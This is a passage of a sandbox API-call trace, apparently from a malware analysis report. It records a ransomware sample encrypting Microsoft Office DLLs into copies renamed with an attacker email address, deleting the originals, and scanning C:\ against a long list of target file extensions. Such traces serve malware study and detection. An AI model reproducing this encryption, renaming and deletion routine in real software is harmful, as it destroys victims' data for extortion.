[0060.962] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x327ff1c | out: lpFileSize=0x327ff1c*=899992) returned 1 [0060.962] CloseHandle (hObject=0x254) returned 1 [0060.962] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll")) returned 0x20 [0060.962] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0060.962] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0060.962] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.962] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.962] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0060.963] GetLastError () returned 0x0 [0060.963] ReadFile (in: hFile=0x254, lpBuffer=0x3d70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesRead=0x327fed4*=0xdbb98, lpOverlapped=0x0) returned 1 [0060.980] WriteFile (in: hFile=0x1d8, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0xdbba0, lpNumberOfBytesWritten=0x327fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x327fc9c*=0xdbba0, lpOverlapped=0x0) returned 1 [0060.994] ReadFile (in: hFile=0x254, lpBuffer=0x3d70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesRead=0x327fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.994] WriteFile (in: hFile=0x1d8, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x327fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x327fc9c*=0xea, lpOverlapped=0x0) returned 1 [0060.994] SetEndOfFile (hFile=0x1d8) returned 1 [0060.994] CloseHandle (hObject=0x1d8) returned 1 [0060.994] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.995] SetEndOfFile (hFile=0x254) returned 1 [0061.002] CloseHandle (hObject=0x254) returned 1 [0061.002] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0061.002] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll")) returned 1 [0061.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0061.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0061.002] lstrlenW (lpString=".doc") returned 4 [0061.002] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0061.002] lstrlenW (lpString=".docx") returned 5 [0061.002] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0061.002] lstrlenW (lpString=".pdf") returned 4 [0061.002] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0061.002] lstrlenW (lpString=".xls") returned 4 [0061.003] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0061.003] lstrlenW (lpString=".xlsx") returned 5 [0061.003] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0061.003] lstrlenW (lpString=".ppt") returned 4 [0061.003] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0061.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0061.003] lstrlenW (lpString=".zip") returned 4 [0061.003] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0061.003] lstrlenW (lpString=".rar") returned 4 [0061.003] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0061.003] lstrlenW (lpString=".bz2") returned 4 [0061.003] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0061.003] lstrlenW (lpString=".7z") returned 3 [0061.003] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0061.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0061.003] lstrlenW (lpString=".dbf") returned 4 [0061.003] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0061.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0061.003] lstrlenW (lpString=".1cd") returned 4 [0061.003] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0061.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0061.003] lstrlenW (lpString=".jpg") returned 4 [0061.003] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0061.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0061.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0061.003] lstrlenW (lpString=".doc") returned 4 [0061.003] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0061.003] lstrlenW (lpString=".docx") returned 5 [0061.003] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0061.003] lstrlenW (lpString=".pdf") returned 4 [0061.003] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0061.003] lstrlenW (lpString=".xls") returned 4 [0061.004] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0061.004] lstrlenW (lpString=".xlsx") returned 5 [0061.004] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0061.004] lstrlenW (lpString=".ppt") returned 4 [0061.004] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0061.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0061.004] lstrlenW (lpString=".zip") returned 4 [0061.004] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0061.004] lstrlenW (lpString=".rar") returned 4 [0061.004] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0061.004] lstrlenW (lpString=".bz2") returned 4 [0061.004] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0061.004] lstrlenW (lpString=".7z") returned 3 [0061.004] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0061.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0061.004] lstrlenW (lpString=".dbf") returned 4 [0061.004] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0061.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0061.004] lstrlenW (lpString=".1cd") returned 4 [0061.004] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0061.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0061.004] lstrlenW (lpString=".jpg") returned 4 [0061.004] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0061.004] lstrcmpiW (lpString1=".DLL", lpString2=".html") returned -1 [0061.004] lstrlenW (lpString="ACEODBC.DLL") returned 11 [0061.004] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodbc.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0061.005] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x327ff1c | out: lpFileSize=0x327ff1c*=342960) returned 1 [0061.005] CloseHandle (hObject=0x254) returned 1 [0061.005] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodbc.dll")) returned 0x20 [0061.005] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodbc.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0061.005] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodbc.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0061.005] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.005] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.005] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodbc.dll.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0061.006] GetLastError () returned 0x0 [0061.006] ReadFile (in: hFile=0x254, lpBuffer=0x3d70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesRead=0x327fed4*=0x53bb0, lpOverlapped=0x0) returned 1 [0061.200] WriteFile (in: hFile=0x1d8, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0x53bc0, lpNumberOfBytesWritten=0x327fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x327fc9c*=0x53bc0, lpOverlapped=0x0) returned 1 [0061.205] ReadFile (in: hFile=0x254, lpBuffer=0x3d70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesRead=0x327fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.206] WriteFile (in: hFile=0x1d8, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x327fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x327fc9c*=0xea, lpOverlapped=0x0) returned 1 [0061.206] SetEndOfFile (hFile=0x1d8) Thread: id = 18 os_tid = 0x994 [0033.074] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xfffe) returned 0x38c06c0 [0033.075] lstrlenW (lpString="C:") returned 2 [0033.075] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x33bfd00 | out: lpFindFileData=0x33bfd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x271020 [0033.075] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0033.075] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin") returned 1 [0033.075] lstrlenW (lpString="$Recycle.Bin") returned 12 [0033.075] lstrcmpiW (lpString1="C:\\Windows", lpString2="$Recycle.Bin") returned 1 [0033.075] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xfffe) returned 0x38d06c8 [0033.076] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0033.076] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x33bfa84 | out: lpFindFileData=0x33bfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x310da0 [0033.076] FindNextFileW (in: hFindFile=0x310da0, lpFindFileData=0x33bfa84 | out: lpFindFileData=0x33bfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.076] FindNextFileW (in: hFindFile=0x310da0, lpFindFileData=0x33bfa84 | out: lpFindFileData=0x33bfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0033.076] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0033.076] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 1 [0033.076] lstrlenW (lpString="S-1-5-21-3388679973-3930757225-3770151564-1000") returned 46 [0033.076] lstrcmpiW (lpString1="C:\\Windows", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000") returned -1 [0033.076] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xfffe) returned 0x38e06d0 [0033.077] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0033.077] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x33bf808 | out: lpFindFileData=0x33bf808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x311de8 [0033.077] FindNextFileW (in: hFindFile=0x311de8, lpFindFileData=0x33bf808 | out: lpFindFileData=0x33bf808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.077] FindNextFileW (in: hFindFile=0x311de8, lpFindFileData=0x33bf808 | out: lpFindFileData=0x33bf808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0033.077] lstrlenW (lpString="desktop.ini") returned 11 [0033.077] lstrlenW (lpString=".1cd") returned 4 [0033.077] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0033.077] lstrlenW (lpString=".3ds") returned 4 [0033.077] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1 [0033.077] lstrlenW (lpString=".3fr") returned 4 [0033.077] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1 [0033.077] lstrlenW (lpString=".3g2") returned 4 [0033.077] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1 [0033.077] lstrlenW (lpString=".3gp") returned 4 [0033.077] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1 [0033.077] lstrlenW (lpString=".7z") returned 3 [0033.078] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0033.078] lstrlenW (lpString=".accda") returned 6 [0033.078] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1 [0033.078] lstrlenW (lpString=".accdb") returned 6 [0033.078] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1 [0033.078] lstrlenW (lpString=".accdc") returned 6 [0033.078] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1 [0033.078] lstrlenW (lpString=".accde") returned 6 [0033.078] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1 [0033.078] lstrlenW (lpString=".accdt") returned 6 [0033.078] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1 [0033.078] lstrlenW (lpString=".accdw") returned 6 [0033.078] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1 [0033.078] lstrlenW (lpString=".adb") returned 4 [0033.078] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1 [0033.078] lstrlenW (lpString=".adp") returned 4 [0033.078] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1 [0033.078] lstrlenW (lpString=".ai") returned 3 [0033.078] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1 [0033.078] lstrlenW (lpString=".ai3") returned 4 [0033.078] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1 [0033.078] lstrlenW (lpString=".ai4") returned 4 [0033.078] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1 [0033.078] lstrlenW (lpString=".ai5") returned 4 [0033.078] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1 [0033.078] lstrlenW (lpString=".ai6") returned 4 [0033.078] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1 [0033.078] lstrlenW (lpString=".ai7") returned 4 [0033.078] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1 [0033.078] lstrlenW (lpString=".ai8") returned 4 [0033.078] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1 [0033.078] lstrlenW (lpString=".anim") returned 5 [0033.079] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1 [0033.079] lstrlenW (lpString=".arw") returned 4 [0033.079] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1 [0033.079] lstrlenW (lpString=".as") returned 3 [0033.079] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1 [0033.079] lstrlenW (lpString=".asa") returned 4 [0033.079] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1 [0033.079] lstrlenW (lpString=".asc") returned 4 [0033.079] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1 [0033.079] lstrlenW (lpString=".ascx") returned 5 [0033.079] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1 [0033.079] lstrlenW (lpString=".asm") returned 4 [0033.079] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1 [0033.079] lstrlenW (lpString=".asmx") returned 5 [0033.079] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1 [0033.079] lstrlenW (lpString=".asp") returned 4 [0033.079] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1 [0033.079] lstrlenW (lpString=".aspx") returned 5 [0033.079] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1 [0033.079] lstrlenW (lpString=".asr") returned 4 [0033.079] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1 [0033.079] lstrlenW (lpString=".asx") returned 4 [0033.079] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1 [0033.079] lstrlenW (lpString=".avi") returned 4 [0033.079] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1 [0033.079] lstrlenW (lpString=".avs") returned 4 [0033.079] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1 [0033.079] lstrlenW (lpString=".backup") returned 7 [0033.079] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1 [0033.079] lstrlenW (lpString=".bak") returned 4 [0033.079] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1 [0033.079] lstrlenW (lpString=".bay") returned 4 [0033.079] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1 [0033.080] lstrlenW (lpString=".bd") returned 3 [0033.080] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1 [0033.080] lstrlenW (lpString=".bin") returned 4 [0033.080] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1 [0033.080] lstrlenW (lpString=".bmp") returned 4 [0033.080] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1 [0033.080] lstrlenW (lpString=".bz2") returned 4 [0033.080] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0033.080] lstrlenW (lpString=".c") returned 2 [0033.080] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1 [0033.080] lstrlenW (lpString=".cdr") returned 4 [0033.080] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1 [0033.080] lstrlenW (lpString=".cer") returned 4 [0033.080] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1 [0033.080] lstrlenW (lpString=".cf") returned 3 [0033.080] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1 [0033.080] lstrlenW (lpString=".cfc") returned 4 [0033.080] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1 [0033.080] lstrlenW (lpString=".cfm") returned 4 [0033.080] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1 [0033.080] lstrlenW (lpString=".cfml") returned 5 [0033.080] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1 [0033.080] lstrlenW (lpString=".cfu") returned 4 [0033.080] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1 [0033.080] lstrlenW (lpString=".chm") returned 4 [0033.080] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1 [0033.080] lstrlenW (lpString=".cin") returned 4 [0033.080] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1 [0033.080] lstrlenW (lpString=".class") returned 6 [0033.080] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1 [0033.080] lstrlenW (lpString=".clx") returned 4 [0033.080] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1 [0033.080] lstrlenW (lpString=".config") returned 7 [0033.081] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1 [0033.081] lstrlenW (lpString=".cpp") returned 4 [0033.081] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1 [0033.081] lstrlenW (lpString=".cr2") returned 4 [0033.081] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1 [0033.081] lstrlenW (lpString=".crt") returned 4 [0033.081] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1 [0033.081] lstrlenW (lpString=".crw") returned 4 [0033.081] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1 [0033.081] lstrlenW (lpString=".cs") returned 3 [0033.081] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1 [0033.081] lstrlenW (lpString=".css") returned 4 [0033.081] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1 [0033.081] lstrlenW (lpString=".csv") returned 4 [0033.081] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1 [0033.081] lstrlenW (lpString=".cub") returned 4 [0033.081] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1 [0033.081] lstrlenW (lpString=".dae") returned 4 [0033.081] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1 [0033.081] lstrlenW (lpString=".dat") returned 4 [0033.081] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1 [0033.081] lstrlenW (lpString=".db") returned 3 [0033.081] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1 [0033.081] lstrlenW (lpString=".dbf") returned 4 [0033.081] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0033.081] lstrlenW (lpString=".dbx") returned 4 [0033.081] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1 [0033.081] lstrlenW (lpString=".dc3") returned 4 [0033.081] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1 [0033.081] lstrlenW (lpString=".dcm") returned 4 [0033.081] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1 [0033.081] lstrlenW (lpString=".dcr") returned 4 [0033.081] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1 [0033.082] lstrlenW (lpString=".der") returned 4 [0033.082] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1 [0033.082] lstrlenW (lpString=".dib") returned 4 [0033.082] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1 [0033.082] lstrlenW (lpString=".dic") returned 4 [0033.082] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1 [0033.082] lstrlenW (lpString=".dif") returned 4 [0033.082] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1 [0033.082] lstrlenW (lpString=".divx") returned 5 [0033.082] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1 [0033.082] lstrlenW (lpString=".djvu") returned 5 [0033.082] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1 [0033.082] lstrlenW (lpString=".dng") returned 4 [0033.082] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1 [0033.082] lstrlenW (lpString=".doc") returned 4 [0033.082] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0033.082] lstrlenW (lpString=".docm") returned 5 [0033.082] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1 [0033.082] lstrlenW (lpString=".docx") returned 5 [0033.082] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0033.082] lstrlenW (lpString=".dot") returned 4 [0033.082] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1 [0033.082] lstrlenW (lpString=".dotm") returned 5 [0033.082] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1 [0033.082] lstrlenW (lpString=".dotx") returned 5 [0033.083] lstrcmpiW 